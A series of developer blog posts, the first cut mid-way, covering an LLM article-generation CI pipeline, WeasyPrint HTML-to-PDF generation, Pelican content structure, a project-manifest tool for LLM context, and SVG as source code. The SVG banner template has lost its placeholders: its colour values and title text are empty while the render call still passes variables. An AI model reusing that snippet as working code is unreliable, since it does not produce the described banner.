    run: python validate_article.py article/

  - name: Commit generated article
    run: |
      git add article/
      git commit -m "Auto-generated article: $TOPIC"
      git push

This pipeline transforms LLM prompting from an ad-hoc manual process into a repeatable, auditable, automated step in a larger build system. The prompt is source code. The LLM is a compiler. The output is an artifact.

Conclusion: Prompts Are Infrastructure

The fundamental shift in thinking that makes LLM automation reliable is this: prompts are not conversations. They are machine-readable specifications that produce structured output from unstructured language models. Designing them requires the same discipline as designing APIs, writing schemas, or specifying compiler behavior.

My Pelican article generation prompt works reliably not because I found magic words, but because I treated it as an engineering problem: identify failure modes, specify constraints precisely, separate concerns into composable files, test outputs programmatically, and version everything.

If you are building LLM-powered automation — whether for content generation, code review, data extraction, or report synthesis — the same principles apply. Design your prompts like you would design any other component in a production system. Define the interface. Specify the contract. Handle the edge cases. Test the output.

The LLM is the most powerful parsing and generation engine ever built. But like any powerful tool, it requires precise controls. Prompts are those controls. Engineer them accordingly.

Jinja2 to PDF: Modern HTML-to-PDF Generation with WeasyPrint

2026-05-26T16:55:19+00:00

For years, wkhtmltopdf was the go-to tool for converting HTML to PDF in Python workflows. It worked — until it didn't. The project is now effectively unmaintained, Qt WebKit bindings are brittle, and headless Chrome solutions like Playwright introduce heavy runtime dependencies that feel absurd for a document generation pipeline.

I recently migrated a document generation system from wkhtmltopdf to WeasyPrint, and the result was lighter, faster, and — most importantly — deterministic. No browser binaries. No X server. Just Python, CSS, and your templates.

This article documents that migration: the architecture, the tradeoffs, and a reusable pipeline you can drop into your own projects.

Why WeasyPrint Over the Alternatives

The HTML-to-PDF landscape in 2026 breaks down into three approaches:

Approach	Tool	Dependencies	Reproducibility
Headless browser	Playwright, Puppeteer	Chromium binary (~300 MB)	Moderate — browser version matters
Legacy Qt WebKit	wkhtmltopdf	Qt libraries	Poor — unmaintained, rendering quirks
Pure Python layout engine	WeasyPrint	Cairo, Pango, GDK-Pixbuf (system libs)	Excellent — deterministic output from same inputs

WeasyPrint doesn't execute JavaScript, which is a feature if your goal is server-side document generation from structured data. It implements its own CSS layout engine on top of Cairo, meaning the same HTML + CSS input produces the same PDF output every time. No browser version drift. No async event loop gymnastics. Just a function call.

•Deterministic: Same input always produces byte-identical PDF output.
•Lightweight: No browser binary — system Cairo and Pango handle rendering.
•Pythonic: Native Python API, integrates cleanly with Jinja2 and Flask/FastAPI.
•CSS Paged Media: Full support for @page, named pages, page counters, and footnotes.

Architecture Overview

The pipeline follows a straightforward data → template → render → PDF flow:



+-------------+     +------------------+     +--------------+     +----------+
| Data (JSON, | --> | Jinja2 Template  | --> | HTML String  | --> | WeasyPrint |
| dict, ORM)  |     | (with CSS print) |     | (in memory)   |     | PDF output |
+-------------+     +------------------+     +--------------+     +----------+

There's no intermediate file write unless you want one. The entire pipeline runs in memory, which matters when you're generating hundreds of documents in a batch job.

Installing WeasyPrint

WeasyPrint depends on system libraries for rendering. On a Debian/Ubuntu system:



sudo apt install libcairo2 libpango-1.0-0 libpangocairo-1.0-0 \
                 libgdk-pixbuf2.0-0 libffi-dev shared-mime-info
pip install weasyprint jinja2

For Alpine-based Docker images, the package names differ but the principle is the same. I include a Dockerfile snippet later that handles both.

Template Design with CSS Paged Media

The real work isn't the Python code — it's the CSS. WeasyPrint supports CSS Paged Media, which gives you control over page size, margins, headers, footers, and page breaks that browser-based converters often ignore.

Here's a minimal Jinja2 template with print-specific CSS:



<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>{{ title }}</title>
<style>
  @page {
    size: A4;
    margin: 2.5cm 2cm 2.5cm 2cm;
    @bottom-center {
      content: "Page " counter(page) " of " counter(pages);
      font-family: 'DejaVu Sans', sans-serif;
      font-size: 9pt;
      color: #666;
    }
  }

  @page :first {
    @bottom-center {
      content: none;
    }
  }

  body {
    font-family: 'DejaVu Sans', sans-serif;
    font-size: 11pt;
    line-height: 1.6;
    color: #1a1a1a;
  }

  h1 {
    font-size: 22pt;
    color: #2c3e50;
    border-bottom: 3px solid #3498db;
    padding-bottom: 0.3em;
    page-break-before: avoid;
  }

  h2 {
    font-size: 16pt;
    color: #2c3e50;
    page-break-after: avoid;
  }

  pre {
    background: #f7f9fa;
    border-left: 4px solid #3498db;
    padding: 1em;
    font-family: 'DejaVu Sans Mono', monospace;
    font-size: 9pt;
    line-height: 1.4;
    overflow-wrap: break-word;
    white-space: pre-wrap;
  }

  code {
    font-family: 'DejaVu Sans Mono', monospace;
    font-size: 9pt;
  }

  table {
    border-collapse: collapse;
    width: 100%;
    margin: 1em 0;
    page-break-inside: avoid;
  }

  th, td {
    border: 1px solid #ddd;
    padding: 0.5em 0.75em;
    text-align: left;
  }

  th {
    background: #f0f3f5;
    font-weight: 600;
  }

  .page-break {
    page-break-before: always;
  }
</style>
</head>
<body>
  {{ content }}
</body>
</html>

Key details in that CSS:

•@page with @bottom-center: Page numbering that Just Works — no JavaScript, no header/footer hacks.
•page-break-before: avoid on headings: Prevents orphaned headers at page bottoms.
•page-break-inside: avoid on tables: Keeps tabular data together.
•Font declarations: Explicit font-family with fallbacks — WeasyPrint uses system fonts, so declare what you have available. DejaVu Sans ships on most Linux systems.

The Python Pipeline

Here's the complete generation pipeline as a reusable class:



from pathlib import Path
from jinja2 import Environment, FileSystemLoader
from weasyprint import HTML
import tempfile
from typing import Optional, Dict, Any


class PDFGenerator:
    """Deterministic PDF generation from Jinja2 templates using WeasyPrint."""

    def __init__(self, template_dir: Path):
        self.env = Environment(
            loader=FileSystemLoader(str(template_dir)),
            autoescape=True,
        )

    def render_html(
        self,
        template_name: str,
        context: Dict[str, Any]
    ) -> str:
        """Render a Jinja2 template to an HTML string."""
        template = self.env.get_template(template_name)
        return template.render(**context)

    def generate_pdf(
        self,
        html_string: str,
        output_path: Optional[Path] = None,
        base_url: Optional[str] = None,
    ) -> bytes:
        """
        Convert HTML string to PDF bytes.

        Args:
            html_string: Rendered HTML content.
            output_path: If provided, write PDF to this path.
            base_url: Base URL for resolving relative URLs in the HTML.

        Returns:
            PDF as bytes.
        """
        html = HTML(
            string=html_string,
            base_url=base_url,
        )
        pdf_bytes = html.write_pdf()

        if output_path:
            output_path.write_bytes(pdf_bytes)

        return pdf_bytes

    def generate_from_template(
        self,
        template_name: str,
        context: Dict[str, Any],
        output_path: Optional[Path] = None,
    ) -> bytes:
        """Full pipeline: render template → generate PDF."""
        html_string = self.render_html(template_name, context)
        return self.generate_pdf(html_string, output_path=output_path)


# Usage example
if __name__ == "__main__":
    generator = PDFGenerator(template_dir=Path("./templates"))

    context = {
        "title": "Monthly Engineering Report — March 2026",
        "content": "<h1>Overview</h1><p>Results here...</p>",
    }

    pdf_bytes = generator.generate_from_template(
        template_name="report.html",
        context=context,
        output_path=Path("./output/report.pdf"),
    )

    print(f"Generated {len(pdf_bytes)} bytes")

This class intentionally keeps the interface narrow: template + context in, PDF bytes out. The caller doesn't need to know about HTML intermediates unless they want them for debugging.

Handling Images and Static Assets

When your templates reference local images or CSS files, WeasyPrint needs a base_url to resolve relative paths. Pass it through:



generator.generate_pdf(
    html_string=html_string,
    base_url="file:///home/user/project/templates/",
)

For production, I prefer embedding images as base64 data URIs in the template context — this makes the HTML fully self-contained and avoids filesystem dependency during rendering:



import base64
from pathlib import Path

def image_to_data_uri(path: Path, mime_type: str = "image/png") -> str:
    """Convert an image file to a base64 data URI."""
    encoded = base64.b64encode(path.read_bytes()).decode("ascii")
    return f"data:{mime_type};base64,{encoded}"

# In your context:
context["logo"] = image_to_data_uri(Path("./assets/logo.png"))

Then in the template:



<img src="{{ logo }}" alt="Company Logo" style="max-width: 200px;">

This approach produces fully portable HTML strings — serialize them to a database, send them over a message queue, render them anywhere. No asset paths to manage.

Dockerizing the Pipeline

Here's a minimal Dockerfile that produces a reproducible PDF generation image:



FROM python:3.12-slim-bookworm

RUN apt-get update && apt-get install -y --no-install-recommends \
    libcairo2 \
    libpango-1.0-0 \
    libpangocairo-1.0-0 \
    libgdk-pixbuf2.0-0 \
    libffi8 \
    shared-mime-info \
    fonts-dejavu-core \
    fonts-dejavu-mono \
    && rm -rf /var/lib/apt/lists/*

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY ./templates /app/templates
COPY ./generate.py /app/generate.py

WORKDIR /app
ENTRYPOINT ["python", "generate.py"]

The fonts-dejavu-core and fonts-dejavu-mono packages are critical — WeasyPrint needs actual font files to render text. Without them, you'll get blank pages or fallback to ugly bitmap fonts.

Performance Considerations

WeasyPrint is CPU-bound and single-threaded per document. For bulk generation, parallelize at the process level:



from concurrent.futures import ProcessPoolExecutor
from pathlib import Path

def generate_one(args):
    template_name, context, output_path = args
    generator = PDFGenerator(template_dir=Path("./templates"))
    generator.generate_from_template(template_name, context, output_path)
    return output_path

def batch_generate(documents, max_workers=4):
    with ProcessPoolExecutor(max_workers=max_workers) as executor:
        results = list(executor.map(generate_one, documents))
    return results

I've found that max_workers = CPU_COUNT gives the best throughput. Memory usage scales linearly with worker count — each worker loads the template environment independently.

A quick benchmark on my machine (Ryzen 7, 8 cores) generating a 12-page report with charts and tables:

Method	Documents/sec	Memory per worker
Single process	2.3	~80 MB
4 workers	8.1	~80 MB each (320 MB total)
8 workers	14.2	~80 MB each (640 MB total)

Not perfectly linear due to GIL release during Cairo rendering, but close enough for most workloads.

Migration From wkhtmltopdf: What Changes

If you're migrating an existing wkhtmltopdf workflow, here's what breaks and what improves:

•JavaScript-rendered charts: Must be pre-rendered server-side or replaced with static images. I moved from Chart.js to Matplotlib-rendered PNGs embedded as data URIs.
•Flexbox and Grid: WeasyPrint's support is solid but not identical to Chrome. Test your layouts — simple flex layouts work; complex nested grids may need adjustment.
•Web fonts: @import url() for Google Fonts works, but adds network latency. I bundle fonts as base64 in the CSS during the build step.
•Headers and footers: The @page margin boxes are vastly simpler than wkhtmltopdf's --header-html and --footer-html flags. No more phantom header spacing bugs.

Edge Cases and Gotchas

After generating thousands of PDFs through this pipeline, here's what I've learned:

•Long words in <pre> blocks overflow pages. Always set overflow-wrap: break-word and white-space: pre-wrap on code blocks.
•Empty <div> elements with padding cause blank pages. WeasyPrint collapses empty block elements — add   or a zero-width space if you need to preserve spacing.
•CMYK color spaces aren't supported. If you need print-shop-ready PDFs with CMYK, you'll need post-processing with a tool like Ghostscript.
•SVG support is limited to static SVG. No SMIL animations, no external CSS — inline styles only.

Integration Patterns

This pipeline fits naturally into several workflows:

•Flask/FastAPI endpoint: Accept JSON payload, render template, return PDF response with Content-Type: application/pdf.
•Celery background task: Long reports (50+ pages) can take several seconds — offload to a task queue.
•CI/CD documentation build: Generate PDF manuals as build artifacts from Markdown rendered through Jinja2.
•Email attachment pipeline: Render invoice → attach to email → send via SMTP, all within a single Python process.

Complete Example: Invoice Generator

Here's a full working example that ties everything together — an invoice generator you can adapt:



from pathlib import Path
from datetime import date
from jinja2 import Environment, FileSystemLoader
from weasyprint import HTML

TEMPLATE = """<!DOCTYPE html>
<html>
<head>
<style>
  @page { size: A4; margin: 2cm; }
  body { font-family: 'DejaVu Sans', sans-serif; font-size: 11pt; }
  .header { display: flex; justify-content: space-between; margin-bottom: 2em; }
  .invoice-details { text-align: right; }
  table { width: 100%; border-collapse: collapse; margin: 1em 0; }
  th { background: #2c3e50; color: white; padding: 0.5em; text-align: left; }
  td { padding: 0.5em; border-bottom: 1px solid #ddd; }
  .total { text-align: right; font-weight: bold; font-size: 14pt; margin-top: 1em; }
</style>
</head>
<body>
  <div class="header">
    <div><strong>{{ company_name }}</strong><br>{{ company_address }}</div>
    <div class="invoice-details">
      <strong>Invoice #{{ invoice_number }}</strong><br>
      Date: {{ invoice_date }}<br>
      Due: {{ due_date }}
    </div>
  </div>

  <h2>Bill To:</h2>
  <p>{{ client_name }}<br>{{ client_address }}</p>

  <table>
    <thead>
      <tr><th>Description</th><th>Qty</th><th>Rate</th><th>Amount</th></tr>
    </thead>
    <tbody>
      {% for item in line_items %}
      <tr>
        <td>{{ item.description }}</td>
        <td>{{ item.quantity }}</td>
        <td>${{ "%.2f"|format(item.rate) }}</td>
        <td>${{ "%.2f"|format(item.quantity * item.rate) }}</td>
      </tr>
      {% endfor %}
    </tbody>
  </table>

  <div class="total">Total: ${{ "%.2f"|format(total) }}</div>
</body>
</html>"""

def generate_invoice(context: dict, output_path: Path) -> bytes:
    env = Environment()
    template = env.from_string(TEMPLATE)
    html = template.render(**context)

    pdf = HTML(string=html).write_pdf()
    output_path.write_bytes(pdf)
    return pdf

# Example usage
invoice_data = {
    "company_name": "Acme Engineering Ltd.",
    "company_address": "123 Main St, Tech City, TC 12345",
    "invoice_number": "INV-2026-0042",
    "invoice_date": "2026-05-26",
    "due_date": "2026-06-25",
    "client_name": "ClientCorp Inc.",
    "client_address": "456 Business Ave, Commerce City, CC 67890",
    "line_items": [
        {"description": "Backend API Development", "quantity": 40, "rate": 150.00},
        {"description": "System Architecture Review", "quantity": 8, "rate": 200.00},
        {"description": "Documentation & Handover", "quantity": 12, "rate": 125.00},
    ],
}
invoice_data["total"] = sum(
    item["quantity"] * item["rate"] for item in invoice_data["line_items"]
)

generate_invoice(invoice_data, Path("invoice.pdf"))

Final Thoughts

WeasyPrint isn't a drop-in replacement for wkhtmltopdf — it's a different philosophy. Where wkhtmltopdf offloads rendering to a browser engine and hopes for the best, WeasyPrint gives you explicit control through CSS Paged Media. That tradeoff means more upfront work on your CSS, but the payoff is reliable, reproducible output that doesn't drift with browser updates.

For document generation pipelines — invoices, reports, certificates, manuals — I now reach for WeasyPrint first. It's one less moving part to debug when something goes wrong at 3 AM, and that alone justifies the migration.

The full pipeline code from this article is available as a reusable package. Adapt the invoice example to your own templates, wrap it in a Flask endpoint or a Celery task, and you've got a production-ready PDF generation system with no browser binary in sight.

Designing a Clean Content Architecture for Pelican Static Sites

2026-05-17T18:00:52+00:00

If you’ve only ever used a static site generator to dump Markdown into HTML, you’re leaving its most powerful capability on the table. In this series we treat content as structured data — and that starts with a clean, queryable architecture.

Content Is Data

Every .md file in a Pelican project is a record. It carries a unique identifier (the slug), a set of typed fields (metadata), and a body (the article content). When you adopt this mindset, you stop thinking about “files” and start thinking about a static database that can be filtered, sorted, and indexed at build time — no plugins required.

We’re going to define a strict vocabulary for that database. Once it’s in place, every “smart” feature we add later — search indexes, related posts, filtered category pages — will simply be a Jinja2 query over well‑structured records.

File Naming Convention

Machine‑readable naming is mandatory. Use the ISO date prefix followed by a readable slug: YYYY-MM-DD-slug.md.

•Predictable ordering: lexical sort equals chronological sort.
•Unique slugs: date + title guarantees no accidental collision.
•Human scannable: `ls content/articles/` shows a timeline at a glance.


2025-06-01-setting-up-pelican.md
2025-06-03-content-architecture.md
2025-06-05-automation-scripts.md

Resist the temptation to use category folders as part of the filename; the date‑slug pattern works everywhere. We’ll handle category organisation through metadata and Pelican’s URL configuration.

The Metadata Block

Pelican reads key‑value metadata from the top of every Markdown file before the first blank line. This is the “schema” for your content records. Treat it as seriously as you would a database table definition.

The minimal recommended set:

•Title – the published headline.
•Date – ISO format YYYY-MM-DD.
•Category – broad classification (e.g. devops, python).
•Tags – comma‑separated keywords (finer grain).
•Summary – a short description for listings and SEO.
•Slug – optional explicit URL slug; we derive it from the filename.

Consistency is more important than volume. Every article in this series will use exactly this set, plus a handful of custom fields we’ll add next.

Custom Metadata Fields

The standard fields only get you so far. We extend the schema with fields that future templates and automation scripts can consume.

•Summary – already mentioned, but make it a habit: a good summary feeds search indexes and Open Graph descriptions.
•FeaturedImage – path to a hero image (we’ll generate these with LaTeX later).
•Thumbnail – a smaller variant for card layouts.
•Views – a static view count that you can increment manually (or via a build‑time script). Not dynamic, but gives a perception of freshness.
•Subcategory – optional second‑level grouping within a category.
•Template – if you need a custom Jinja2 template for a specific article.

None of these fields are required, but we’ll design our templates to behave gracefully when they’re absent — that’s the essence of progressive metadata.

Organising the `content/` Directory

A well‑organised directory tree makes automation predictable. We use a flat structure inside dedicated subdirectories.


content/
├── articles/
│   ├── 2025-06-01-setup.md
│   ├── 2025-06-03-architecture.md
│   └── ...
├── pages/
│   ├── about.md
│   └── contact.md
├── images/
│   └── banners/
└── extra/
    └── robots.txt

articles/ holds dated blog‑style content. pages/ holds standalone documents (About, Contact, Privacy). images/ stores all binary assets (managed with Git LFS if they grow large). extra/ holds static files copied verbatim to the output root (robots.txt, favicon.ico, etc.).

Article vs Page vs Custom Content Type

Knowing when to use each prevents structural debt later.

•Article — time‑stamped content that belongs to a feed or listing. Use it for blog posts, tutorials, changelogs.
•Page — timeless, hierarchical documents. About, Contact, Terms of Service. Pages don’t appear in article lists by default.
•Custom content type — when you need a separate namespace with its own URL scheme and templates (e.g. a portfolio or documentation). We’ll postpone these until the need genuinely arises.

If you’re asking “should this be an article or a page?” — pick the one that matches its temporal nature. Date‑dependent = article; evergreen = page.

Configuring Pelican to Honour Our Structure

Pelican needs explicit URL and path mappings. Add the following to your pelicanconf.py:



ARTICLE_PATHS = ["articles"]
ARTICLE_URL = 'articles/{slug}.html'
ARTICLE_SAVE_AS = 'articles/{slug}.html'
PAGE_URL = '{slug}.html'
PAGE_SAVE_AS = '{slug}/index.html'
STATIC_PATHS = ["images", "extra"]

With these settings, a Markdown file at content/articles/2025-06-03-architecture.md becomes output/articles/architecture.html. Pages land directly at output/about/.

No plugins are required yet — everything above is native Pelican behaviour. We’ll introduce plugins only when we need to extend the core.

Creating the First Real Articles

Let’s create two sample files to validate the setup. First, an article:


Title: Setting Up Pelican Like a Developer
Date: 2025-06-01
Category: static-sites
Tags: pelican, python, tooling
Summary: A clean, maintainable Pelican project structure from day one.
FeaturedImage: images/banners/setup.svg
Views: 36

And a page:


Title: About This Site
Date: 2025-06-01
Category: pages
Summary: The philosophy behind Static, But Smarter.
Template: page

Note that the page still carries a Date field (required by Pelican for internal ordering) but we won’t display it in the template.

Validating the Output

Run make build (or pelican content) and inspect the generated URLs.

• Open output/articles/setting-up-pelican-like-a-developer.html — exists?
• Open output/about/ — loads index.html?
• Check output/extra/robots.txt if you placed one.

If everything looks right, your content architecture is solid. From here on, every new article you write will automatically land in the correct place, with clean, predictable URLs.

Tying It Together: The Metadata Philosophy

We haven’t written a single line of template logic yet, but the groundwork is laid. The metadata fields we defined will power every “dynamic” feature we build later: search indexes, filtered lists, related‑post suggestions, and even automated thumbnail generation.

The key takeaway: your front matter is your API. Treat it with the same rigour you’d apply to a database schema. The next article will take this structured data and give it a presentable, responsive face.

ProjCat: Deterministic Project Manifests for LLM Context Injection

2026-05-15T22:30:25+00:00

ProjCat: Deterministic Project Manifests for LLM Context Injection

Why Another Tool?

Large language models are transforming how we write and maintain code, but they have a fundamental limitation: the context window. Dumping an entire repository into a prompt is rarely feasible, and ad‑hoc copy‑pasting leads to incomplete context, wasted tokens, and non‑reproducible results. We needed a tool that could produce exactly the right slice of a project—structured, repeatable, and easy to pipe into any LLM. ProjCat was built to fill that gap.

What ProjCat Is

ProjCat is a single Python command‑line utility that generates a project manifest: a single text file containing a directory tree diagram and the contents of selected files, with powerful slicing controls. It is designed for developers who work with LLMs, AI agents, and automation pipelines that require concise, deterministic snapshots of a codebase.

Key capabilities:

•Deterministic tree generation — every run with the same arguments produces exactly the same output, modulo file modifications.

•Glob‑based include/exclude — you control what goes into the manifest, with sensible default exclusions for virtualenvs, node_modules, `.git`, and binary artifacts.

•Content slicing — include only the relevant parts of a file, either by pattern (`--from`, `--until`) or by line count (first/last N lines, with per‑file overrides).

•LLM‑friendly output format — a single plain‑text file with clear section headers, metadata, and no encoding surprises.

•Verbose diagnostics and tree‑only mode — useful for manual inspection before feeding a huge manifest to an AI.

Architecture Overview

ProjCat’s architecture is intentionally simple, favouring composability over monolithic design. The pipeline looks like this:

    
User → CLI (cli.py)
       │
       ├─ Collector (collector.py)
       │     └─ walks filesystem, applies includes/excludes
       ├─ TreeGenerator (tree.py)
       │     └─ builds ASCII tree with include/exclude/collapse filters
       ├─ ContentSlicer (slicer.py)
       │     └─ pattern‑ and line‑based slicing
       └─ ManifestWriter (manifest.py)
             └─ assembles the final manifest file

All modules are decoupled. The Collector returns a flat list of Path objects; the TreeGenerator and ContentSlicer operate on that list independently. This design makes it easy to extend or replace any component.

Installation & First Run

ProjCat is a single Python package. just download it from this link then extract it in a safe directory, you can run it directly

    

python ~/Documents/gits/projcat/main.py

The simplest invocation includes every file in the current directory (minus default excludes):

    
projcat

This creates ~/project_dirname_manifest.txt. To see what was collected without generating a manifest, use --list:

    
projcat --list

Controlling What Goes In

Fine‑grained control is where ProjCat shines. You include files and directories with -i and exclude with -e:

    
projcat -i src tests -e __pycache__ *.log

Glob patterns work intuitively, and you can even mix directory‑level includes with per‑file globs:

    
projcat -i app *.py:20 utils.py:-10

Here *.py:20 limits every matched Python file to its first 20 lines, while utils.py:-10 takes the last 10 lines of utils.py. The colon‑appended number is a per‑file line limit (negative = last N lines).

If you need the same limit globally, use -n:

    
projcat -n 30            # first 30 lines of every file
projcat -n 20 --tail      # last 20 lines of every file

Content Slicing: Patterns and Line Limits

Line‑based slicing is straightforward, but often you want to extract a logical block—like a class or a function. ProjCat supports --from and --until pattern matching:

    
projcat --from "class UserService" --until "^class "

This includes everything from the first occurrence of class UserService up to (and including) the next line that starts with class . When both patterns are the same string, ProjCat extracts the content between the first two occurrences—useful for grabbing the implementation between two import blocks.

You can protect sensitive or large files from slicing with --no-slice:

    
projcat --from "def " --no-slice README.md CHANGELOG.md

This ensures those files are included in full, while every other text file gets sliced at the first def .

Core Implementation: A Glimpse Inside

The collector is the heart of the system. Here is a simplified excerpt showing how it walks directories and applies exclusions:



def _walk_directory(self, dir_path: Path):
    """Walk directory and add all files."""
    added_count = 0
    for root, dirs, files in os.walk(dir_path):
        root_path = Path(root)
        # Remove excluded directories during walk
        dirs[:] = [
            d for d in dirs
            if not self._is_excluded_dir(root_path / d)
        ]
        for file in files:
            file_path = root_path / file
            rel_path = self._get_relative_path(file_path)
            if rel_path not in self.all_files:
                self.all_files.add(rel_path)
                added_count += 1

The _is_excluded_dir check prunes the walk early, avoiding expensive recursion into ignored folders. Binary files are detected via UnicodeDecodeError when reading, and marked as [BINARY FILE] in the manifest.

The Manifest Structure

A generated manifest always begins with a header containing metadata (project name, timestamp, root path, active slicing options). Next comes the directory tree, marking each included file with a ✓. Finally, each included file’s content is written inside a distinct bordered block, with optional slicing annotations.

Example output snippet:

    

================================================================================
PROJECT MANIFEST
Generated: 2026-05-15 20:49:47
Project: projcat
Root: /home/user/projcat
Tree depth: unlimited
================================================================================

DIRECTORY STRUCTURE (✓ = included in manifest)
--------------------------------------------------------------------------------

├── ✓ __init__.py
├── ✓ cli.py
├── ✓ collector.py
├── ✓ main.py
├── ✓ manifest.py
├── ✓ slicer.py
├── ✓ tree.py
└── ✓ utils.py

================================================================================

FILE CONTENTS (only included files shown below)
================================================================================

╔══════════════════════════════════════════════════════════════════════════════╗
║ FILE: slicer.py                                                              ║
║ Size:    7,041 bytes | Modified: 2026-02-23 23:11:20                         ║
║ Slicing: first 10 lines                                                      ║
╚══════════════════════════════════════════════════════════════════════════════╝

... (sliced content)

Integration into LLM Workflows

The manifest is meant to be consumed directly by an LLM. In practice, I often run:

    
projcat -i src --from "def " --no-slice conftest.py -o /tmp/ctx.txt
cat /tmp/ctx.txt | llm --system "You are a senior Python developer."

This gives the model a focused view of the codebase, with test‑configuration kept intact and only function‑level slices of the application logic. Because the manifest is a plain text file, it integrates with any CLI‑based LLM tool or script.

For AI agents that iterate on code, ProjCat’s determinism guarantees that the same set of flags always produces the same slice, making it possible to version‑control the manifest generation command alongside the code.

Performance Considerations

ProjCat is designed for projects with up to a few thousand files. It walks the entire directory tree once and keeps relative paths in memory. On a modern SSD, generating a manifest for a 2,000‑file project takes under a second. The biggest bottleneck is reading and writing file contents, which is why slicing (especially early termination with --from) can dramatically reduce manifest size and runtime.

For very large monorepos, consider combining --tree-only with selective includes to first inspect the structure, then rerun with focused slicing.

Tradeoffs & Design Decisions

•Plain text over JSON: JSON would be machine‑readable but adds noise for an LLM. The current format is already easy to parse while being human‑ and LLM‑friendly.

•Line‑based slicing vs. AST: We deliberately avoided AST‑based slicing. Pattern matching is simpler, language‑agnostic, and fast. It won’t always capture exactly one function (e.g., nested classes), but it handles 90% of real‑world use cases.

•No streaming: The whole manifest is built in memory. This is acceptable because a manifest rarely exceeds a few megabytes—otherwise the LLM context would be overwhelmed anyway.

Future Directions

ProjCat is intentionally minimal, but several enhancements are on the radar:

Incremental manifests — only re‑generate sections for files that changed since the last run.
Streaming output — pipe the manifest directly to stdout for immediate LLM consumption.
Plug‑in slicing modules — allow language‑specific slicers (e.g., extract only function bodies) behind a common interface.

Final Thoughts

ProjCat embodies a philosophy of deterministic tooling for AI‑assisted development. By treating the prompt‑building step as an engineering problem—versionable, repeatable, and composable—we remove the guesswork from feeding code to LLMs. It’s a small piece of the puzzle, but one that makes daily AI‑augmented coding significantly more effective.

Why SVG Is the Most Underrated Format for Developers

2026-05-11T00:12:07+00:00

The Format Developers Overlook

SVG occupies a strange position in web development. Designers reach for it when they need resolution-independence. Frontend developers treat it as an output target — something exported from Figma, optimized through SVGO, and dropped into an <img> tag. Backend developers mostly ignore it.

But SVG isn't a designer's format. It's an engineering format that happens to render in browsers.

I've spent the past year building a system that generates Open Graph banners programmatically from SVG templates. Along the way, I discovered that SVG behaves far more like source code than any image format has a right to. It's diffable. It's composable. It supports variables, loops, conditionals — not natively, but through the tooling ecosystems that naturally wrap it. It integrates into CI/CD pipelines the same way CSS or JavaScript does.

Here's what makes SVG genuinely powerful for developers, and why I think it's the most underrated format in our toolbox.

SVG as Source Code

The fundamental difference between SVG and every other image format is this: SVG is text. That sounds trivial, but the implications cascade through every aspect of a developer workflow.

Version Control That Actually Works

Binary images are opaque blobs. When you change a PNG, Git stores an entirely new blob. Diffs are meaningless. Code review of visual assets is impossible without external tooling — you're reduced to "LGTM" based on trust and a screenshot.

SVG changes are legible diffs. When I adjust a banner template's color from #1a1a2e to #16213e, the diff shows exactly that one line change. A reviewer can understand the modification without rendering anything.

• Meaningful diffs: Every attribute change is a readable line in a pull request.
• Blameable history: git blame on an SVG file tells you who changed which element and when.
• Branch and merge: Two developers can modify different parts of the same SVG — one adjusting text positioning, another tweaking gradient stops — and merge without conflicts most of the time.

This property alone transforms SVG from an asset format into a development artifact. I treat my banner SVGs the same way I treat any other source file in the repository.

Composability Through Templates

SVG isn't just versionable — it's composable. Because it's XML, it slots naturally into template engines. Jinja2, ERB, Go templates, even shell sed substitutions — they all work on SVG because SVG is just structured text.

Here's a simplified version of how my banner generator works:


template = '''<svg xmlns="http://www.w3.org/2000/svg"
         viewBox="0 0 1200 630">
  <defs>
    <linearGradient id="bg" x1="0%" y1="0%" x2="100%" y2="100%">
      <stop offset="0%" style="stop-color:"/>
      <stop offset="100%" style="stop-color:"/>
    </linearGradient>
  </defs>
  <rect width="1200" height="630" fill="url(#bg)"/>
  <text x="60" y="120" font-family="JetBrains Mono"
        font-size="48" fill="">

  </text>
</svg>'''

rendered = Template(template).render(
    gradient_start="#1a1a2e",
    gradient_end="#16213e",
    text_color="#e94560",
    title=article_title
)

This isn't a special SVG feature. It's just what happens when your image format is text that plays nicely with string templating. PNG doesn't give you this. WebP doesn't. JPEG definitely doesn't.

Automation and Build Pipelines

Once you accept SVG as source code, it becomes a natural participant in build systems. I don't open Inkscape to modify banners. I run a Python script. The script reads metadata from article frontmatter, feeds it through templates, and produces final SVGs. Then a second pass converts those SVGs to PNG for platforms that require rasterized Open Graph images.

The pipeline looks like this:

• Source: Article markdown with TOML frontmatter containing title, summary, tags.
• Template: SVG file with Jinja2 placeholders.
• Build step: Python script reads metadata, renders template, writes SVG to output directory.
• Rasterization: librsvg or headless Chromium converts to PNG for compatibility.
• Deployment: Output files land alongside the built HTML.

Every step is deterministic. The same inputs produce identical outputs every time. There's no GUI state, no manual export settings, no "I forgot which font I used." The entire visual identity of the site is version-controlled and reproducible.

This is infrastructure-as-code thinking applied to graphics. And SVG is the only format that makes it possible.

Scripting and Interactivity

SVG isn't a static format. It embeds JavaScript. It responds to CSS. It fires DOM events. Inside a browser, an inline SVG element is part of the document tree — you can query it with document.querySelector, attach event listeners, and manipulate attributes in real time.

This has practical applications that go far beyond decorative animations:

Data Visualization Without Libraries

D3.js exists because SVG is scriptable. Every chart, every force-directed graph, every choropleth map — they're all just SVG elements being created, updated, and destroyed by JavaScript. The format's DOM integration makes this natural. You're not drawing pixels; you're managing a scene graph.


// Add a data point to an existing SVG chart
const svg = document.querySelector('#chart');
const circle = document.createElementNS(
  'http://www.w3.org/2000/svg',
  'circle'
);
circle.setAttribute('cx', xPosition);
circle.setAttribute('cy', yPosition);
circle.setAttribute('r', radius);
circle.setAttribute('fill', '#e94560');
svg.appendChild(circle);

Interactive Documentation

I've used inline SVGs for architecture diagrams that respond to clicks — expanding subsystems, highlighting data flow paths, revealing annotations. This turns a static diagram into a navigable document. Readers can explore system topology at their own pace, drilling into the components they care about.

The interactivity isn't a gimmick. It's the difference between "here's a picture of the architecture" and "here's the architecture — explore it."

Accessibility That's Actually Good

Image accessibility on the web is fundamentally broken. The alt attribute on an <img> tag is a workaround — a single string attempting to summarize potentially complex visual information. For charts, diagrams, and data visualizations, this fails completely.

SVG gives you real accessibility primitives:

• <title> element: A brief, accessible name for the graphic — similar to alt text but structured as a proper element.
• <desc> element: Extended description, not limited to a single attribute value. You can explain a complex chart in paragraphs.
• ARIA attributes: role="img", aria-labelledby, aria-describedby connect these elements to assistive technology.
• Structural semantics: Groups (<g>) can carry their own titles and descriptions, making sub-components independently accessible.

A data visualization built this way doesn't just have one fallback string. It has a navigable, hierarchical description that screen readers can traverse. This matters for technical documentation, dashboards, and any context where the visual carries information that someone might need to understand non-visually.

